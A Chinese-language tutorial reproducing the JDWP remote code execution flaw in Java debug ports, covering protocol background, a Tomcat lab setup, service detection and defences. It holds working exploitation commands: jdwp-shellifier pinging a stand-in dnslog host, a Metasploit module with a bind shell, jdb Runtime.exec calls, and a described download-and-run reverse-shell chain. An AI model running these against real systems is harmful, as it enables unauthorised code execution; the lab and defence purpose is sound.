JAVA安全之jdwp命令执行漏洞复现与分析
字数 1406 2025-08-11 08:35:42
JAVA安全之JDWP命令执行漏洞复现与分析
一、漏洞简介
JDWP结构简介
JDWP(Java Debug Wire Protocol)是全球Java调试系统的组件之一,称为Java平台调试架构(JPDA)的一部分。整体架构分为三层:
- JVMTI(Java VM Tool Interface):定义JVM提供的调试服务
- JDWP(Java Debug Wire Protocol):定义debuggee和debugger进程之间的通信
- JDI(Java Debug Interface):定义高级Java语言接口,用于编写远程调试器应用
JPDA体系
在JPDA体系中:
- 前端(debugger)和后端(debuggee)进程之间的交互数据格式由JDWP描述
- JDWP实现了请求命令、回应数据和错误代码的定义
- 在Sun的实现中,jdwp.dll/jdwp.so动态库负责解析前端请求并转化为JVMTI调用
JDWP协议特性
- 基于数据包的网络二进制协议
- 主要是同步的(调试器发送命令并期望回复)
- 某些命令(如事件)不需要同步响应
- 不使用身份验证和加密
二、漏洞原理
漏洞本质
JDWP漏洞是指攻击者可以通过网络连接到运行中的JVM,利用JDWP协议中的安全漏洞执行恶意代码或获取敏感信息。
漏洞成因
- JVM在默认配置下启用了JDWP
- JDWP端口暴露在网络上
- 攻击者可通过JDWP协议向JVM发送指令,控制JVM执行恶意代码
- 攻击者可获取JVM中的敏感信息(类名、方法名、变量名等)
调试过程关键点
- VirtualMachine/IDSizes:获取JVM处理的数据结构大小
- ClassType/InvokeMethod:调用静态方法
- ObjectReference/InvokeMethod:调用实例化对象的方法
- Event/Composite:强制JVM对特定行为做出回应(设置断点、单步调试等)
三、环境搭建
CentOS安装Tomcat
- 下载Tomcat解压版(非一键安装版)
- 解压安装:
tar -zxvf apache-tomcat-7.0.108.tar.gz mkdir /opt/tomcat mv apache-tomcat-7.0.108 /opt/tomcat/ - 修改配置文件启动环境
FOFA语法探测
使用banner="jdwp"语法可探测存在JDWP服务的系统
四、服务探测
探测方法
-
Nmap扫描:
nmap -p <port> <target>会识别JDWP服务及JDK版本信息
-
Telnet探测:
{ echo "JDWP-Handshake"; sleep 20 } | telnet <target> <port>若返回"JDWP-Handshake"则存在服务
-
Python脚本探测:
import socket client = socket.socket() client.connect(("<target>", <port>)) client.send(b"JDWP-Handshake") if client.recv(1024) == b"JDWP-Handshake": print("[*]JDWP Service!") client.close()
端口扫描注意事项
- nmap默认只扫描常见1000个端口
- 可通过
-p指定端口范围 - 使用
sudo nmap -v -oG - -sSU查看扫描频率
五、漏洞复现
1. 使用jdwp-shellifier工具
-
下载工具:
git clone https://github.com/IOActive/jdwp-shellifier -
无回显探测(DNSLog):
python2 jdwp-shellifier.py -t <target> -p <port> --break-on "java.lang.String.indexof" --cmd "ping xxx.dnslog.cn" -
反弹Shell步骤:
- 准备反弹shell文件(shell.txt)
- 开启HTTP服务提供下载
- 执行命令下载并执行shell文件
2. 使用Metasploit
use exploit/multi/misc/java_jdwp_debugger
set rhosts <target>
set payload linux/x64/shell/bind_tcp
run
3. 使用jdb(JDK自带工具)
jdb -connect com.sun.jdi.SocketAttach:hostname=<target>,port=<port>
eval java.lang.Runtime.getRuntime().exec("calc")
六、防御方式
- 关闭JDWP服务或限制不对外开放
- 关闭Java Debug模式
- 远程调试安全建议:
- 生产环境不应开启debug
- 关闭对外远程debug端口
- 远程调试应绑定到127.0.0.1
- 使用socat进行安全转发:
socat TCP4-LISTEN:5005,fork,range=0.0.0.0/32 TCP4:127.0.0.1:8399 - 在IDE中配置Remote时使用公网IP和转发端口